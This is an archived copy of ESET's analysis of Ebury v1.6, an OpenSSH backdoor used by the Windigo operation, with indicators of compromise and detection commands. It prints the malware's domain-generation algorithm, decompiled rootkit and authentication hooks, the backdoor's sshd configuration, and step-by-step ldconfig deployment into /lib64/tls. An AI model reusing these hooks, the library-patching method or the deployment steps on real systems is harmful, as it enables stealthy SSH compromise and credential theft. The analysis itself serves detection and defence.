{
	"id": "b7adeb2e-85fb-41a1-945b-d48d5e848af1",
	"created_at": "2026-04-06T00:11:41.400986Z",
	"updated_at": "2026-04-10T13:12:13.68402Z",
	"deleted_at": null,
	"sha1_hash": "e690f184de1ad5d3d28eea9535b09f11cbc6b4db",
	"title": "Windigo Still not Windigone: An Ebury Update",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 461409,
	"plain_text": "Windigo Still not Windigone: An Ebury Update\r\nBy Frédéric Vachon\r\nArchived: 2026-04-05 18:35:03 UTC\r\nBack in February 2014, ESET researchers wrote a blog post about an OpenSSH backdoor and credential stealer\r\ncalled Linux/Ebury. Further research showed that this component was the core of an operation involving multiple\r\nmalware families we called \"Operation Windigo\". This led to the publication of a whitepaper covering the full\r\noperation.\r\nIn February 2017, we found a new Ebury sample, that introduces a significant number of new features. The\r\nversion number was bumped to 1.6.2a. At the time of that discovery, the latest versions we had seen were 1.5.x,\r\nmonths before. After further investigation, we realized that its infrastructure for exfiltrating credentials was still\r\noperational and that Ebury was still being actively used by the Windigo gang.\r\nThe original IoCs that we provided back in 2014 are for version 1.4 of Ebury. On their website, CERT-Bund\r\nupdated the IoCs for version 1.5. In this blog post, we provide technical details about version 1.6, which we\r\ndiscovered in February 2017. We also share updated IoCs for versions 1.5 and 1.6.\r\nNew DGA for exfiltration fallback\r\nEbury v1.4 has a fallback mechanism whereby a domain generation algorithm (DGA) is used when the attacker\r\ndoesn’t connect to the infected system via the OpenSSH backdoor for three days. Under these conditions, Ebury\r\nwill exfiltrate the collected data using the generated domain. Ebury v1.6 has the same mechanism, but there is a\r\nminor change to the DGA itself. Only the constants changed between these two versions, as shown in Figure 2.\r\ndef DGA(domain_no):\r\n # ords returns the signed integer representation of a one-char string\r\n # (the built-in ord returns only unsigned values)\r\n ords = lambda c: struct.unpack(\"b\", c)[0]\r\n TLDS = [ 'info', 'net', 'biz' ]\r\n KEY = \"fmqzdnvcyelwaibsrxtpkhjguo\"\r\n h = \"%x\" % ((domain_no * domain_no + 3807225) \u0026 0xFFFFFFFF)\r\n g = \"\"\r\n for i in range(len(h))[::-1]:\r\n g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)]\r\n g += h[i]\r\n g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)]\r\n g += '.%s' % TLDS[domain_no % len(TLDS)]\r\n return g\r\nFigure 1. Ebury v1.6 new DGA implemented in Python\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 1 of 14\n\n@@ -4,11 +4,11 @@\r\n ords = lambda c: struct.unpack(\"b\", c)[0]\r\n TLDS = [ 'info', 'net', 'biz' ]\r\n KEY = \"fmqzdnvcyelwaibsrxtpkhjguo\"\r\n- h = \"%x\" % ((domain_no * domain_no + 4091073) \u0026 0xFFFFFFFF)\r\n+ h = \"%x\" % ((domain_no * domain_no + 3807225) \u0026 0xFFFFFFFF)\r\n g = \"\"\r\n for i in range(len(h))[::-1]:\r\n- g += KEY[((ords(h[i]) * 4906) + (ords(h[-1]) + i + domain_no)) % len(KEY)]\r\n+ g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)]\r\n g += h[i]\r\n- g += KEY[((ords(h[-1]) * 6816) + (len(h) + domain_no - 1)) % len(KEY)]\r\n+ g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)]\r\n g += '.%s' % TLDS[domain_no % len(TLDS)]\r\n return g\r\nFigure 2. Differences between DGA in v1.4 and v1.6 implemented in Python\r\nThe first ten domains generated by the DGA are:\r\nlarfj7g1vaz3y.net\r\nidkff7m1lac3g.biz\r\nu2s0k8d1ial3r.info\r\nh9g0q8a1hat3s.net\r\nf2y1j8v1saa3t.biz\r\nxdc1h8n1baw3m.info\r\nraj2p8z1aae3b.net\r\no9f3v8r1oaj3p.biz\r\ntav4h8n1baw3r.info\r\nhdm5o8e1tas3n.net\r\nEbury sequentially tries the generated domain names until it finds one that has a TXT record set by the operator.\r\nTo verify the ownership of the domain, Ebury checks whether the TXT record can be decrypted using an RSA\r\npublic key embedded in its code:\r\n-----BEGIN RSA PUBLIC KEY-----\r\nMIGJAoGBAOadSGBGG9x/f1/U6KdwxfGzqSj5Bcy4aZpKv77uN4xYdS5HWmEub5Rj\r\nnAvtKybupWb3AUWwN7UPIO+2R+v6hrF+Gh2apcs9I9G7VEBiToi2B6BiZ3Ly68kj\r\n1ojemjtrG+g//Ckw/osESWweSWY4nJFKa5QJzT39ErUZim2FPDmvAgMBAAE=\r\n-----END RSA PUBLIC KEY-----\r\nlarfj7g1vaz3y.net. 1737 IN A 78.140.134.7\r\nlarfj7g1vaz3y.net. 285 IN TXT \"ItTFyJ6tegXn9HkHa+XZX1+fZw0IsfhXl05phu1F7ZXDP4HtKMvrXW8NbUSjY8vkQgDdKsSaSCyrv\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 2 of 14\n\nFigure 3. DNS records for larfj7g1vaz3y[.]net:\r\nThe A record on the domain is ignored by Ebury.\r\nThe decrypted data has three comma-separated fields. Here’s an example of the data stored in the DNS entry for\r\nlarfj7g1vaz3y[.]net in January 2018:\r\nlarfj7g1vaz3y.net:3328801113:1517346000\r\nThe first field contains the domain name so the signed data cannot be reused for another domain. The second field\r\nis the C\u0026C server IP address and the third field contains a UNIX timestamp used as the expiration date of the\r\nsigned data. The expiration date is a new field added as an anti-sinkhole mechanism and is new to v1.6. If anyone\r\nwere to try to seize or take ownership of both the domain and the IP address of the exfiltration server, then it\r\nwould only be possible to reuse the signed data for a limited amount of time, reducing the impact of a successful\r\nsinkhole attempt — something that did happen for almost all previous versions of the DGA.\r\nTable 1. Decoded information stored in the TXT record\r\nDomain name IP Address Expiration date\r\nlarfj7g1vaz3y[.]net 0xc6697959 ⇒ 198[.]105.121.89 2018-01-30 @ 9:00pm (UTC)\r\nWe do not believe Ebury's operators really expect to use the exfiltration fallback. In the samples we analyzed,\r\nmultiple bugs were found preventing the fallback routine to execute. This code did definitely not go through a\r\ncomplete testing phase. For that reason, we suspect it might be quite rare for Ebury’s operators to lose access to\r\ntheir infected machines. It is also possible they do not mind losing access to a few machines once in a while, since\r\nthey control so many compromised systems. Why such efforts are put into a mechanism that is not working\r\nanymore remains unclear to us.\r\nChanges summary\r\nSlightly modified DGA (constants changed)\r\nAdded an expiration date for exfiltration server DNS entry validity\r\nNew registered domain: larfj7g1vaz3y[.]net\r\nNew exfiltration server IP address: 198[.]105.121.89\r\nNew features\r\nNew functionalities were added in version 1.6. For unknown reasons, these new features were not available on all\r\nof the v1.6 samples we analyzed.\r\nEbury now implements self-hiding techniques usually described as a \"userland rootkit\". To do so, it hooks the\r\nreaddir or readdir64 function, each of which is used to list directory entries. If the next directory structure to return\r\nis the Ebury shared library file, the hook skips it and returns the subsequent entry instead.\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 3 of 14\n\nstruct dirent *__fastcall readdir(__int64 a1)\r\n{\r\n struct dirent *dir_entry; // rax\r\n struct dirent *dir_entry_1; // rbx\r\n __ino_t inode; // rax\r\n do\r\n {\r\n if ( !readdir_0 )\r\n readdir_0 = F_resolve_func(\"readdir\");\r\n dir_entry = readdir_0(a1);\r\n dir_entry_1 = dir_entry;\r\n if ( !exports_hook_activated )\r\n break;\r\n if ( !dir_entry )\r\n break;\r\n if ( !ebury_inode )\r\n break;\r\n inode = dir_entry-\u003ed_ino;\r\n if ( inode != ebury_inode \u0026\u0026 inode != ebury_lstat_inode )\r\n break;\r\n }\r\n while ( ebury_filename \u0026\u0026 !strncmp(dir_entry_1-\u003ed_name, ebury_filename,\r\n ebury_filename_len_before_extension) );\r\n return dir_entry_1;\r\n}\r\nFigure 4. Hex-Rays output of Ebury’s readdir hook\r\nActivation of these hooks is done by Ebury injecting its dynamic library into every descendant processes of sshd.\r\nTo inject itself into subprocesses, Ebury hooks execve and use the dynamic linker LD_PRELOAD variable. Every\r\ntime a new process is created, Ebury adds LD_PRELOAD=\u003cEbury_filename\u003e to its environment. Once the new\r\nprocess is executed, Ebury’s dynamic library is loaded and its constructor is called, executing the hooking\r\nroutines.\r\nAs mentioned in an article on srvfail.com, there’s a thread on StackExchange of a user stating that his machine\r\nwas compromised by Ebury. The behavior he describes corresponds to the self-hiding techniques we’ve witnessed\r\nin Ebury v1.6.2a.\r\nEarlier versions of Ebury used to work only on very specific versions of OpenSSH and were Linux-distribution-specific. Typically, previous Ebury samples would work for three to five OpenSSH builds for a given Linux\r\ndistribution. This is no longer the case. Most of the OpenSSH patching routines were replaced by function\r\nhooking. There are no hardcoded offsets anymore. We tried installing Ebury on machines running Debian Jessie,\r\nCentOS 7 and Ubuntu Artful with the same sample and it worked in all cases.\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 4 of 14\n\nTo inject the OpenSSH server configuration directly into memory, Ebury parses the sshd binary’s code section\r\nmapped in the same process looking for two different functions. It tries to find the address of parse_server_config\r\nor process_server_config_line. If it fails, it downgrades security features by disabling SELinux Role-Based Access\r\nControl and deactivating PAM modules. When one of the functions is successfully resolved, Ebury will use this\r\nwhen the backdoor is used to tamper with sshd's configuration.\r\nPrintLastLog no\r\nPrintMotd no\r\nPasswordAuthentication no\r\nPermitRootLogin yes\r\nUseLogin no\r\nUsePAM no\r\nUseDNS no\r\nChallengeResponseAuthentication no\r\nLogLevel QUIET\r\nStrictModes no\r\nPubkeyAuthentication yes\r\nAllowUsers n\r\nAllowGroups n\r\nDenyUsers n\r\nDenyGroups n\r\nAuthorizedKeysFile /proc/self/environ\r\nBanner /dev/null\r\nPermitTunnel yes\r\nAllowTcpForwarding yes\r\nPermitOpen any\r\nFigure 5. Configuration used by Ebury’s backdoor\r\nEbury’s authors also hardened their backdoor mechanism. Instead of relying only on a password encoded in the\r\nSSH client version string, activating the backdoor now requires a private key to authenticate. It is possible this\r\nextra check was added to prevent others who may have found the backdoor password from using it to gain access\r\nto the Ebury-compromised server.\r\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESH\r\nCvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd3BD+ADXDurAlDG\r\nbh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00\r\nH+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC/9rqoAdv7Gbc5Y7W8xrNIjOIuxDx\r\nBx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq6\r\n3E/xqI4tMEQl9BmW1Df5+LjbVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub\r\nFigure 6. Ebury’s operators RSA public key\r\nWhen there’s a backdoor connection attempt, Ebury modifies the AuthorizedKeysFile option to point to\r\n/proc/self/environ. It hooks open or open64 and checks whether there’s an attempt to open /proc/self/environ or a\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 5 of 14\n\npath containing .ssh/authorized_keys. The second check might be used as a fallback in case Ebury failed to\r\nresolve parse_server_config and process_server_config_line to push its own configuration. Ebury also hooks fgets\r\nwhich is called by sshd to read the content of the authorized_keys file. A global variable is used to make sure fgets\r\nis called after the authorized_keys file was opened. Then, the hook fills the fgets buffer with the Ebury operators’\r\npublic key so the attackers’ key is used for authentication.\r\nchar *__fastcall fgets_hook(char *s, __int64 size, FILE *stream)\r\n{\r\n int fd_env; // ebp\r\n char *result; // rax\r\n if ( !(backdoor_command \u0026 1) )\r\n return fgets_0(s);\r\n fd_env = fd_proc_self_environ;\r\n if ( fd_proc_self_environ \u003c= 0 || fd_env != fileno(stream) )\r\n return fgets_0(s);\r\n strcpy(\r\n s,\r\n \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESHCvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAy\r\n \"bVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub\\n\");\r\n result = s;\r\n fd_proc_self_environ = 0;\r\n return result;\r\n}\r\nFigure 7. Hex-Rays output of the fgets hook\r\nSomething that remains a mystery to us is the purpose of this memcpy hook:\r\nchar *__fastcall memcpy_hook(char *dst, const char *src, size_t len)\r\n{\r\n size_t len_1; // r12\r\n char *result; // rax\r\n len_1 = len;\r\n memcpy_orig(dst, src, len);\r\n if ( len_1 \u003e 0x1F \u0026\u0026 !strncmp(src, \"chacha20-poly1305@openssh.com,\", 0x1EuLL) )\r\n result = memcpy_orig(dst, src + 30, len_1 - 30);\r\n else\r\n result = dst;\r\n return result;\r\n}\r\nFigure 8. Hex-Rays output of the memcpy hook\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 6 of 14\n\nWhile we know the hook is used to remove the chacha20-poly1305 algorithm during the SSH key exchange, we\r\nare puzzled as to why Ebury’s authors do not want this algorithm to be used.\r\nNew installation methods\r\nPreviously, Ebury added its payload inside the libkeyutils.so library. The file would contain both the legitimate\r\nlibkeyutils functions and the Ebury malicious code, launched when loaded. When compromised, the file was\r\nlarger than usual, a sign of compromise we shared back in 2014.\r\nWhile we’ve seen this technique used by version 1.6, Ebury authors have come up with new tricks to fool our\r\nIoCs. They still use the libkeyutils.so file, but differently.\r\nFrom what we have witnessed, the deployment scripts and techniques seem to differ based on the Linux\r\ndistribution of the targeted system.\r\nDebian/Ubuntu\r\nOn Debian/Ubuntu systems, Ebury is currently deployed using a new method. Since libkeyutils.so is loaded by the\r\nOpenSSH client and the OpenSSH server executables, it remains an interesting target for the attackers. We’ve\r\npreviously seen Ebury installed by changing the libkeyutils.so.1 symbolic link to point to the malicious version of\r\nthe library. The altered library would have a constructor where Ebury’s initialization code is stored. Every time\r\nlibkeyutils.so is loaded, the constructor is called. Thus, every time the OpenSSH client or server is launched,\r\nEbury is injected into the process.\r\nThe latest deployment method on Debian/Ubuntu now relies on patching libkeyutils.so to force it to load Ebury,\r\nwhich is stored in a separate .so file. Comparing an original and a patched version, we notice that there’s an\r\nadditional entry in the .dynamic section of the ELF header. This entry is of type NEEDED (0x01), meaning that it\r\nis a dependency of this executable and that it will be loaded at runtime. In the deployment script we’ve analyzed,\r\nthe library to be loaded is named libsbr.so and contains Ebury’s malicious code.\r\n--- ./libkeyutils.so.1-5 2017-10-13 21:19:24.269521814 -0400\r\n+++ ./libkeyutils.so.1-5.patched 2017-10-13 21:19:17.405092274 -0400\r\n@@ -1,5 +1,5 @@\r\n-Dynamic section at offset 0x2cf8 contains 26 entries:\r\n+Dynamic section at offset 0x2cf8 contains 27 entries:\r\n Tag Type Name/Value\r\n 0x0000000000000001 (NEEDED) Shared library: [libc.so.6]\r\n 0x000000000000000e (SONAME) Library soname: [libkeyutils.so.1]\r\n@@ -26,4 +26,5 @@\r\n 0x000000006fffffff (VERNEEDNUM) 1\r\n 0x000000006ffffff0 (VERSYM) 0xdf0\r\n 0x000000006ffffff9 (RELACOUNT) 3\r\n+ 0x0000000000000001 (NEEDED) Shared library: [libsbr.so]\r\n 0x0000000000000000 (NULL) 0x0\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 7 of 14\n\nFigure 9. Dynamic section diff between an original and a patched libkeyutils.so\r\nThe patching process has two steps. First, the string \"libsbr.so\" must be stored in the strings table of the binary.\r\nSecond, a new entry of type 0x1 (DT_NEEDED) must be added to the dynamic section of the ELF headers. This\r\nentry must point to the library string with an offset in the string table. Ebury’s authors replace the \"__bss_start\"\r\nstring by \"_\\x00libsbr.so\". Since __bss_start is not used by the dynamic linker, modifying this symbol has no\r\nimpact on the execution of the library. Figure 10 shows the difference between the original and the altered strings\r\ntable of libkeyutils.so.\r\nFigure 10. Differences between an original and a patched string table\r\nNow that the \"libsbr.so\" string is stored in the strings table, a new entry must be added in the .dynamic section.\r\nFigure 11 shows the difference between the .dynamic section of the original and the patched libkeyutils.so.\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 8 of 14\n\nFigure 11. Differences between an original and a patched .dynamic section\r\nThe .dynamic section contains an array of Elf64_Dyn for amd64 binaries and Elf64_Dyn for i386 binaries. The\r\ndefinitions of these structures are displayed in Figure 12.\r\ntypedef struct {\r\n Elf32_Sword d_tag;\r\n union {\r\n Elf32_Word d_val;\r\n Elf32_Addr d_ptr;\r\n } d_un;\r\n} Elf32_Dyn;\r\ntypedef struct {\r\n Elf64_Sxword d_tag;\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 9 of 14\n\nunion {\r\n Elf64_Xword d_val;\r\n Elf64_Addr d_ptr;\r\n } d_un;\r\n} Elf64_Dyn;\r\nFigure 12. Structures related to the .dynamic section\r\nIn Figure 13, we have a 64-bit versions of libkeyutils.so. Thus, the new entry in the .dynamic section could be\r\nwritten as follows:\r\nElf64_Dyn dyn;\r\ndyn.d_tag = DT_NEEDED;\r\ndyn.d_val = 0x38F;\r\nFigure 13. New .dynamic entry\r\nThe first field is 0x1, which translates to the DT_NEEDED tag. The second field is the offset to the \"libsbr.so\"\r\nstring in the strings table: 0x3F8.\r\nFor better stealth, Ebury’s operators take care to patch the MD5 sums of the libkeyutils1 package. So, it is not\r\npossible to check if a system is infected by looking at the package integrity. Such a command wouldn’t show any\r\nerrors:\r\n$ dpkg --verify libkeyutils1\r\nMultiple filenames are used by Ebury when it is deployed as a standalone library. Here’s the list of the filenames\r\nwe’re aware of:\r\nlibns2.so\r\nlibns5.so\r\nlibpw3.so\r\nlibpw5.so\r\nlibsbr.so\r\nlibslr.so\r\nCentOS\r\nSimilar techniques to the one described for Debian/Ubuntu deployment are used on CentOS. Attackers would\r\npatch libkeyutils.so to force it to load an additional library. In addition, we’ve noticed a new technique used for\r\ndeploying Ebury on CentOS/RedHat systems. We don’t know all the details about how the installation process\r\nworks yet. Looking at various online reports helped us make some educated guesses as to how the deployment\r\nhappens.\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 10 of 14\n\nWe’re aware of Ebury being deployed as a separate shared object loaded by libkeyutils in a way similar to\r\nDebian’s deployment. But we also witnessed another installation method, which we believe is the deployment\r\nmethod for v1.6. As was the case in previous releases of Ebury, the operators build their own version of\r\nlibkeyutils.so to which they add a constructor containing the malicious code. Instead of altering the\r\nlibkeyutils.so.1 from /lib/ or /lib64/ they use the /lib{,64}/tls/ folder to drop their file because the dynamic linker\r\nlooks at this directory first when resolving dependencies.\r\nWe believe the deployment process for this version is to drop Ebury in /lib/tls/ or /lib64/tls/ depending on the\r\narchitecture of the victim’s system. Then, running ldconfig will automatically create a symbolic link\r\n/lib{,64}/tls/libkeyutils.so.1 pointing to the malicious shared object.\r\n# ldd /usr/bin/ssh | grep -i libkeyutils\r\n libkeyutils.so.1 =\u003e /lib64/libkeyutils.so.1 (0x00007ff67774f000)\r\n# cp libkeyutils.so.1.5 /lib64/tls/\r\n# ldd /usr/bin/ssh | grep -i libkeyutils\r\n libkeyutils.so.1 =\u003e /lib64/libkeyutils.so.1 (0x00007f44ac6ba000)\r\n# ldconfig\r\n# ldd /usr/bin/ssh | grep -i libkeyutils\r\n libkeyutils.so.1 =\u003e /lib64/tls/libkeyutils.so.1 (0x00007fc12db23000)\r\n# ls -al /lib64/tls\r\ntotal 24\r\ndr-xr-xr-x 1 root root 4096 Oct 18 14:34 .\r\ndr-xr-xr-x 1 root root 4096 Oct 18 13:25 ..\r\nlrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -\u003e libkeyutils.so.1.5\r\n-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5\r\nFigure 14. Usage of ldconfig to deploy Ebury in /lib64/tls/\r\nAdditionally, it makes for a simple uninstallation system that doesn’t require fiddling with symbolic links and\r\nkeeping some backup copies of the original libkeyutils shared object in case something goes wrong during the\r\ndeployment process. The only thing that is needed is to erase the malicious libkeyutils.so file in the /lib{,64}/tls/\r\nfolder, then run ldconfig again and the system is back to its original state.\r\n# ls -l /lib64/tls\r\ntotal 16\r\nlrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -\u003e libkeyutils.so.1.5\r\n-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5\r\n# rm /lib64/tls/libkeyutils.so.1.5\r\n# ldconfig\r\n# ls -l /lib64/tls\r\ntotal 0\r\n# ldd /usr/bin/ssh | grep -i libkeyutils\r\n libkeyutils.so.1 =\u003e /lib64/libkeyutils.so.1 (0x00007f7b89349000)\r\n# ls -l /lib64/libkeyutils.so.1\r\nlrwxrwxrwx 1 root root 18 Oct 18 13:25 /lib64/libkeyutils.so.1 -\u003e libkeyutils.so.1.5\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 11 of 14\n\nFigure 15. Usage of ldconfig to uninstall Ebury\r\nThe tls subdirectory is used together with a feature of the Linux loader where if the CPU supports some additional\r\ninstruction set, the one in that directory takes precedence over the \"regular\" one. The tls directory is actually for a\r\npseudo-hwcap for \"TLS support\" that is always present nowadays.\r\nConclusion\r\nEven after the arrest of Maxim Senakh, the core of Windigo is still operational. Ebury, the main component of the\r\nLinux botnet, has gone through significant upgrades. It now uses self-hiding techniques and new ways to inject\r\ninto OpenSSH related processes. Furthermore, it uses a new domain generation algorithm (DGA) to find which\r\ndomain TXT record to fetch. The exfiltration server IP address is concealed in these data, signed with the\r\nattackers' private key. An expiration date was added to the signed data to defend against signature reuse, thus\r\nmitigating potential sinkhole attempts. Windigo’s operators regularly monitor publicly shared IoCs and quickly\r\nadapt to fool available indicators. Keep this is mind when trying to determine if a system is infected using public\r\nIoCs. The older they are, the more likely they are to be obsolete.\r\nIndicators of Compromise (IoCs)\r\nIn this section, we share our IoCs that may help identify the latest variants of Ebury. We provide these to help the\r\ncommunity detect if their systems are compromised but they are in no way to be considered perfect.\r\nEbury now uses an abstract UNIX socket to communicate with an external process that will be responsible for\r\ndata exfiltration. In most cases, the socket name begins with \"/tmp/dbus-\". The real dbus can create a socket using\r\nthe same pattern. However, Ebury does this with processes not related to the legitimate dbus. If the following\r\ncommand outputs the socket, it is suspicious:\r\n$ lsof -U | grep -F @/tmp/dbus- | grep -v ^dbus\r\nHere’s a list of the processes we know Ebury uses as an exfiltration agent:\r\nauditd\r\ncrond\r\nanacron\r\narpd\r\nacpid\r\nrsyslogd\r\nudevd\r\nsystemd-udevd\r\natd\r\nhostname\r\nsync\r\nOn CentOS/Redhat, having a libkeyutils.so* file in /lib/tls/ or /lib64/tls/ is suspicious.\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 12 of 14\n\nRunning objdump -x libkeyutils.so.1 (or readelf -d libkeyutils.so.1) will print the dynamic section of the ELF\r\nheader. Anything NEEDED (type 1) other than libc or libdl is suspicious.\r\n$ objdump -x /path/to/libkeyutils.so.1 | grep NEEDED | grep -v -F -e libdl.so -e libc.so\r\nIn the event that your machine is infected with an Ebury version with the userland rootkit, there are many ways to\r\ndetect that this is the case. Since Ebury injects itself using the dynamic linker LD_PRELOAD environment\r\nvariable, we can use some other environment variable to trace the dynamic linking process. If libkeyutils is loaded\r\nin some process where it shouldn’t be, it is very likely that the system is infected with a rootkit-enabled version of\r\nEbury. If the following command raises result, it is very suspicious:\r\n$ LD_DEBUG=symbols /bin/true 2\u003e\u00261 | grep libkeyutils\r\nIf you detect compromised machines, we strongly suggest doing a full system reinstallation because Windigo\r\nsometimes installs additional malware. Therefore, a machine compromised by Ebury is likely to be polluted by\r\nother threats. Additionally, consider all user credentials and all SSH keys to be compromised. Make sure to\r\nchange them all.\r\nTable 2. Ebury-related hashes\r\nSHA-1 Filename Version Detection Name\r\n5c796dc566647dd0db74d5934e768f4dfafec0e5 libns2.so 1.5.0 Linux/Ebury.B\r\n615c6b022b0fac1ff55c25b0b16eb734aed02734 Unknown 1.5.1 Linux/Ebury.E\r\nd4eeada3d10e76a5755c6913267135a925e195c6 libns5.so 1.5.1c Linux/Ebury.E\r\n27ed035556abeeb98bc305930403a977b3cc2909 libpw3.so 1.5.1d Linux/Ebury.E\r\n2f382e31f9ef3d418d31653ee124c0831b6c2273 libpw5.so 1.5.1e Linux/Ebury.E\r\n7248e6eada8c70e7a468c0b6df2b50cf8c562bc9 libpw5.so 1.5.1f Linux/Ebury.I\r\ne8d3c369a231552081b14076cf3eaa8901e6a1cd libkeyutils lib 1.5.5 Linux/Ebury.F\r\n1d3aafce8cd33cf51b70558f33ec93c431a982ef libkeyutils lib 1.5.5 Linux/Ebury.F\r\na559ee8c2662ee8f3c73428eaf07d4359958cae1 libkeyutils lib 1.5.5c Linux/Ebury.F\r\n17c40a5858a960afd19cc02e07d3a5e47b2ab97a libslr.so 1.5.6dp Linux/Ebury.I\r\neb352686d1050b4ab289fe8f5b78f39e9c85fb55 libkeyutils.so.1.5 1.5.6d Linux/Ebury.F\r\n44b340e90edba5b9f8cf7c2c01cb4d45dd25189e libkeyutils.so.1.5 1.6.2a Linux/Ebury.I\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 13 of 14\n\nTable 2. Ebury-related hashes\r\ne8d392ae654f62c6d44c00da517f6f4f33fe7fed libsbr.so 1.6.2gp Linux/Ebury.I\r\nb58725399531d38ca11d8651213b4483130c98e2 libsbr.so 1.6.2gp Linux/Ebury.I\r\nSource: https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nhttps://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/\r\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA",
		"MITRE",
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/"
	],
	"report_names": [
		"windigo-ebury-update-2"
	],
	"threat_actors": [
		{
			"id": "1934b371-2525-4615-a90a-772182bc4184",
			"created_at": "2022-10-25T15:50:23.396576Z",
			"updated_at": "2026-04-10T02:00:05.341979Z",
			"deleted_at": null,
			"main_name": "Windigo",
			"aliases": [
				"Windigo"
			],
			"source_name": "MITRE:Windigo",
			"tools": [
				"Ebury"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "3844202f-b24a-4e16-b7b9-dfe8c0a44d5d",
			"created_at": "2022-10-25T16:07:24.526179Z",
			"updated_at": "2026-04-10T02:00:05.023222Z",
			"deleted_at": null,
			"main_name": "Operation Windigo",
			"aliases": [
				"G0124"
			],
			"source_name": "ETDA:Operation Windigo",
			"tools": [
				"CDorked",
				"CDorked.A",
				"Calfbot",
				"Ebury"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434301,
	"ts_updated_at": 1775826733,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e690f184de1ad5d3d28eea9535b09f11cbc6b4db.pdf",
		"text": "https://archive.orkl.eu/e690f184de1ad5d3d28eea9535b09f11cbc6b4db.txt",
		"img": "https://archive.orkl.eu/e690f184de1ad5d3d28eea9535b09f11cbc6b4db.jpg"
	}
}